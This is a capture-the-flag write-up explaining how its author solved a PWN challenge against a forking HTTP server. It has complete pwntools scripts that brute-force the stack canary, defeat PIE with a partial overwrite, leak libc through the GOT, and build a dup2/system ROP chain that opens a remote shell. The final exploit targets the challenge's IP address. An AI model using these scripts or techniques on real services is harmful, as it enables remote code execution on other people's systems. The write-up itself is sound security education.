1. Description
OK so this is a 304pt PWN challenge. You can still play it here (Jan. 21th, 2020).
peilin@PWN:~/contrailctf/instant_httpserver$ file instant_httpserver
instant_httpserver: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d833632e90392bdd4c0fd7abdd1cc75853f33dcc, stripped
peilin@PWN:~/contrailctf/instant_httpserver$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
libc.so.6
is given.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
OK, this is pretty scary. Let’s do it!
As its name suggests, it is a simple HTTP server receiving HTTP requests. Let’s run a copy of it locally and see what it does.
peilin@PWN:~/contrailctf/instant_httpserver$ netstat -a | grep 4445
tcp 0 0 0.0.0.0:4445 0.0.0.0:* LISTEN
It listens on port 4445
.
All requests beginning with GET
are considered as legitimate requests. Upon receiving legitimate requests, the server responses with something like:
[+] Receiving all data: Done (127B)
[DEBUG] Received 0x11 bytes:
‘HTTP/1.1 200 OK\r\n’
[DEBUG] Received 0x38 bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 3’
[DEBUG] Received 0x36 bytes:
‘<br /><br /><hr><I>instant_httpserver — localhost</I>’
[*] Closed connection to 127.0.0.1 port 4445
And the server side prints HTTP/1.1 200 OK
to stdout.
peilin@PWN:~/contrailctf/instant_httpserver$ ./instant_httpserver
HTTP/1.1 200 OK
So the very first thing we want to do is to send it a very long request, right? 🙂
It turns out that if we send a request longer than 520 bytes, something will go wrong:
peilin@PWN:~/contrailctf/instant_httpserver$ ./instant_httpserver
HTTP/1.1 200 OK
*** stack smashing detected ***: <unknown> terminated
We’ve messed up with the stack canary. Meanwhile, the client side will receive something different:
[+] Receiving all data: Done (75B)
[DEBUG] Received 0x11 bytes:
‘HTTP/1.1 200 OK\r\n’
[DEBUG] Received 0x3a bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 534’
[*] Closed connection to 127.0.0.1 port 4445
For now, let’s just don’t worry about why it says my Req Length is 534
(I only sent 521 bytes). The sure thing here is, if we crash the canary, we will receive a response without this line: <br /><br /><hr><I>instant_httpserver -- localhost</I>
. By that, we can tell if we’ve crashed the canary or not.
2. Leaking stack canary
The server fork()
s a new process upon accept()
ing an incoming connection. This means that the canary will remain the same during server’s lifetime, which means it is leakable.
The plan is: We guess the canary one byte at a time. As mentioned, a wrong guess will be responded without that HTML thing, so we can tell if we guessed right or not.
Here’s the code:
#!/usr/bin/env python from pwn import * context.log_level = "DEBUG" host = "127.0.0.1" # host = '114.177.250.4' port = 4445 prefix = "GET" prefix += "A" * 517 canary = "" guess = 0 while (len(canary) < 8): c = connect(host, port) payload = prefix payload += canary payload += p8(guess) c.send(payload) resp = c.recvall() if "<br /><br /><hr><I>instant_httpserver -- localhost</I>" in resp: print("bingo!") c.close() canary += p8(guess) guess = 0 continue else: c.close() guess += 1 continue print("canary: 0x%s" % "".join(x.encode("hex") for x in canary))
Let’s check it out:
canary: 0x0036f8a638eb6478
Perfect.
3. Bypassing PIE
Time to read some disassembly.
0x00000b7c 488d8df0fdff. lea rcx, [var_210h]
0x00000b83 8b859cfdffff mov eax, dword [var_264h]
0x00000b89 ba00040000 mov edx, 0x400 ; size_t nbyte
0x00000b8e 4889ce mov rsi, rcx ; void *buf
0x00000b91 89c7 mov edi, eax ; int fildes
0x00000b93 e888fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
Let’s call it function B.
In function B we see a very obvious buffer overflow vulnerability: a read()
trying to read up to 0x400
bytes into a var_210h
buffer. In radare2 notation, var_210h
simply means rbp-0x210
.
To conclude, 520 bytes to reach the canary, 8 more bytes to forge the canary, 8 more bytes to overwrite saved rbp, and finally 8 more bytes to overwrite the return address.
So…where to jump? We have to somehow leak the base address of the main executable in furtherance of doing more.
Let’s first take a look at who called function B:
0x00000dc5 e810fdffff call fcn.00000ada
0x00000dca 488d3d4f1220. lea rdi, str.br____br____hr__I_instant_httpserver____localhost__I ; 0x202020 ; “<br /><br /><hr><I>instant_httpserver — localhost</I>” ; const char *s
0x00000dd1 e8fafaffff call sym.imp.strlen ; size_t strlen(const char *s)
0x00000dd6 4889c2 mov rdx, rax ; size_t nbytes
0x00000dd9 8b45c4 mov eax, dword [var_3ch]
0x00000ddc 488d353d1220. lea rsi, str.br____br____hr__I_instant_httpserver____localhost__I ; 0x202020 ; “<br /><br /><hr><I>instant_httpserver — localhost</I>” ; const char *ptr
0x00000de3 89c7 mov edi, eax ; int fd
0x00000de5 e8d6faffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
Where fcn.00000ada
is our function B. Let’s call the caller function A.
Notice that upon successfully returning from B, <br /><br /><hr><I>instant_httpserver -- localhost</I>
is sent to the client. This explains why we receive responses without this line if we crash the canary in function B.
Anyway, after call
ing B, the address of the next instruction (at offset 0xdca
) is pushed onto stack as the return address. Note that since ASLR won’t change the least 12 significant bits of addresses, the return address will always be something like 0x?????????????dca
. We can leverage this fact.
More precisely, we can do a partial overwrite. By overwriting the very last byte of return address we can jump to whatever 0xd??
addresses in function A.
So, where? 🙂
The last thing function B does before checking the canary, is sending the server response:
0x00000c70 488d85f0fdff. lea rax, [var_210h]
0x00000c77 4889c7 mov rdi, rax ; const char *s
0x00000c7a e851fcffff call sym.imp.strlen ; size_t strlen(const char *s)
0x00000c7f 4889c2 mov rdx, rax ; size_t nbytes
0x00000c82 488d8df0fdff. lea rcx, [var_210h]
0x00000c89 8b859cfdffff mov eax, dword [var_264h]
0x00000c8f 4889ce mov rsi, rcx ; const char *ptr
0x00000c92 89c7 mov edi, eax ; int fd
0x00000c94 e827fcffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
0x00000c99 b800000000 mov eax, 0
0x00000c9e 488b4df8 mov rcx, qword [var_8h]
0x00000ca2 6448330c2528. xor rcx, qword fs:[0x28]
0x00000cab 7405 je 0xcb2
0x00000cad e82efcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
0x00000cb2 c9 leave
0x00000cb3 c3 ret
Remember? This:
[DEBUG] Received 0x38 bytes:
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 3’
And at the time it returns, all three parameters for write(int fd, const char *ptr, size_t nbytes)
remain the same. Take a careful look at the disassembly if you don’t believe me. Also note that rdi, rsi and rdx are all callee-saved registers.
This means that if we can call another write()
in function A, the client should receive another copy of that Server: instant_httpserver\r\n…
response. And there it is, at offset 0xde5
:
0x00000de5 e8d6faffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
OK. The plan is, similar to how we did to leak the canary: With the least significant byte set to \xe5
, we guess the address of that call write
instruction one byte at a time. If we guessed right, we will receive that Server: instant_httpserver\r\n…
response twice; If wrong, only once. Let’s test it:
[DEBUG] Received 0x85 bytes:
‘HTTP/1.1 200 OK\r\n’
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520’
Nice.
One may ask that what if we hit another call write
? I have manually checked that 0xde5
is the first 0x*e5
address in the binary that is a call write
. So, as long as we guess it incrementally from 0, we won’t hit another call write
.
So here’s my script:
#!/usr/bin/env python from pwn import * context.log_level = "DEBUG" host = "127.0.0.1" port = 4445 prefix = "GET" prefix += "A" * 517 canary = 0x0036f8a638eb6478 prefix += p64(canary, endian="big") prefix += "B" * 8 guess = 0 text_base = "\xe5" while (len(text_base) < 6): payload = prefix payload += text_base payload += p8(guess) c = connect(host, port) c.send(payload) resp = c.recvall(timeout=3.0) if resp.count("Server: instant_httpserver") > 1: print("bingo!") c.close() text_base += p8(guess) guess = 0 continue else: c.close() guess += 1 continue print("text base address: %s" % hex(u64(text_base + "\x00\x00") - 0xde5))
text base address: 0x55b47b469000
Perfect.
4. Leaking libc base address
We are already familiar with this step. Remember at the end of function B, rdi will be the fd of our client socket, and rdx will be the length of the server response, which is large enough for us to leak an 8 byte address from GOT. So the only thing we need to do is to simply set rsi to a GOT entry, and invoke write()
.
Here’s the code:
#!/usr/bin/env python from pwn import * import time context.log_level = "DEBUG" host = "127.0.0.1" port = 4445 canary = 0x0036f8a638eb6478 text_base = 0x55b47b469000 e = ELF("./instant_httpserver") pop_rsi_pop_r15_ret = text_base + 0xe91 write_got = text_base + e.got["write"] write_plt = text_base + e.plt["write"] payload = "GET" payload += "A" * 517 payload += p64(canary, endian="big") payload += "B" * 8 payload += p64(pop_rsi_pop_r15_ret) payload += p64(write_got) payload += p64(0xdeadbeefcafebabe) payload += p64(write_plt) c = connect(host, port) c.send(payload) c.recvuntil("520") resp = c.recvall() l = ELF("./libc.so.6") write_ofs = l.symbols["write"] print("libc base address: %s" % hex(u64(resp[:6] + "\x00\x00") - write_ofs)) c.close()
Let’s see:
libc base address: 0x7f9f7168c000
Good. One step at a time.
5. Getting a shell
One thing to notice. Since the stdio of the server side is not connected with the client side, if we simply do system(“/bin/sh”)
, we will pop a shell for the server side, not for us. We have to think of a way to redirect stdio to our socket through the Internet. We do so by using dup2()
.
int dup2(int oldfd, int newfd);
The plan is to do dup2(our_socket, 0)
and dup2(our_socket, 1)
before trying to get a shell, so that the popped shell will be talking to us through the Internet instead. Remember when returning from function B, our socket fd is still in rdi, so this is a fairly easy task.
Here’s the code:
#!/usr/bin/env python from pwn import * context.log_level = "DEBUG" host = "127.0.0.1" port = 4445 canary = 0x0036f8a638eb6478 text_base = 0x55b47b469000 libc_base = 0x7f9f7168c000 e = ELF("./instant_httpserver") l = ELF("./libc.so.6") pop_rsi_pop_r15_ret = text_base + 0xe91 pop_rdi_ret = text_base + 0xe93 ret = text_base + 0xe94 write_got = text_base + e.got["write"] write_plt = text_base + e.plt["write"] bin_sh_libc = libc_base + list(l.search("/bin/sh"))[0] system_libc = libc_base + l.symbols["system"] dup2_libc = libc_base + l.synbols["dup2"] prefix = "GET" prefix += "A" * 517 payload = prefix payload += p64(canary, endian="big") payload += p64(0xdeadbeefcafebabe) payload += p64(pop_rsi_pop_r15_ret) payload += p64(1) payload += p64(0xdeadbeefcafebabe) payload += p64(dup2_libc) payload += p64(pop_rsi_pop_r15_ret) payload += p64(0) payload += p64(0xdeadbeefcafebabe) payload += p64(dup2_libc) payload += p64(ret) payload += p64(pop_rdi_ret) payload += p64(bin_sh_libc) payload += p64(system_libc) c = connect(host, port) c.send(payload) c.interactive() c.close()
As always, one more ret
to bypass the movaps
issue.
Let’s see:
[*] Switching to interactive mode
[DEBUG] Received 0x4b bytes:
‘HTTP/1.1 200 OK\r\n’
‘Server: instant_httpserver\r\n’
‘\r\n’
‘<html>Your Req Length is 520’
HTTP/1.1 200 OK
Server: instant_httpserver
<html>Your Req Length is 520$ whoami
[DEBUG] Sent 0x7 bytes:
‘whoami\n’
[DEBUG] Received 0x7 bytes:
‘peilin\n’
peilin
Very good.
6. Conclusion
After combining all previous steps, as well as changing target from local one to the “real” challenge server, here’s my final exp:
#!/usr/bin/env python from pwn import * context.log_level = "DEBUG" host = "114.177.250.4" port = 4445 prefix = "GET" prefix += "A" * 517 e = ELF("./instant_httpserver") l = ELF("./libc.so.6") def leak_canary(): canary = "" guess = 0 while (len(canary) < 8): c = connect(host, port) payload = prefix payload += canary payload += p8(guess) c.send(payload) resp = c.recvall() if "<br /><br /><hr><I>instant_httpserver -- localhost</I>" in resp: # bingo! c.close() canary += p8(guess) guess = 0 continue else: c.close() guess += 1 continue print("canary: 0x%s" % "".join(x.encode("hex") for x in canary)) return u64(canary, endian="big") def leak_text_base(canary): text_base = "\xe5" guess = 0 while (len(text_base) < 6): payload = prefix payload += p64(canary, endian="big") payload += p64(0xdeadbeefcafebabe) payload += text_base payload += p8(guess) c = connect(host, port) c.send(payload) resp = c.recvall() if resp.count("Server: instant_httpserver") > 1: # bingo! c.close() text_base += p8(guess) guess = 0 continue else: c.close() guess += 1 continue text_base = u64(text_base + "\x00\x00") - 0xde5 print("text_base: %s" % hex(text_base)) return text_base def leak_libc_base(canary, text_base): payload = prefix payload += p64(canary, endian="big") payload += p64(0xdeadbeefcafebabe) payload += p64(pop_rsi_pop_r15_ret) payload += p64(write_got) payload += p64(0xdeadbeefcafebabe) payload += p64(write_plt) c = connect(host, port) c.send(payload) c.recvuntil("520") resp = c.recvall() write_libc = u64(resp[:6] + "\x00\x00") libc_base = write_libc - l.symbols["write"] print("libc: %s" % hex(libc_base)) return libc_base def get_shell(canary, text_base, libc_base): payload = prefix payload += p64(canary, endian="big") payload += p64(0xdeadbeefcafebabe) payload += p64(pop_rsi_pop_r15_ret) payload += p64(1) payload += p64(0xdeadbeefcafebabe) payload += p64(dup2_libc) payload += p64(pop_rsi_pop_r15_ret) payload += p64(0) payload += p64(0xdeadbeefcafebabe) payload += p64(dup2_libc) payload += p64(ret) payload += p64(pop_rdi_ret) payload += p64(binsh_libc) payload += p64(system_libc) c = connect(host, port) c.send(payload) c.interactive() c.close() # 1. leak canary canary = leak_canary() # 2. leak text base address text_base = leak_text_base(canary) # 3. leak libc base address pop_rsi_pop_r15_ret = text_base + 0xe91 pop_rdi_ret = text_base + 0xe93 ret = text_base + 0xe94 write_got = text_base + e.got["write"] write_plt = text_base + e.plt["write"] libc_base = leak_libc_base(canary, text_base) # 4. get a shell binsh_libc = libc_base + list(l.search("/bin/sh"))[0] system_libc = libc_base + l.symbols["system"] dup2_libc = libc_base + l.symbols["dup2"] get_shell(canary, text_base, libc_base)
So that’s it! It was a very nice experience playing with canary and PIE.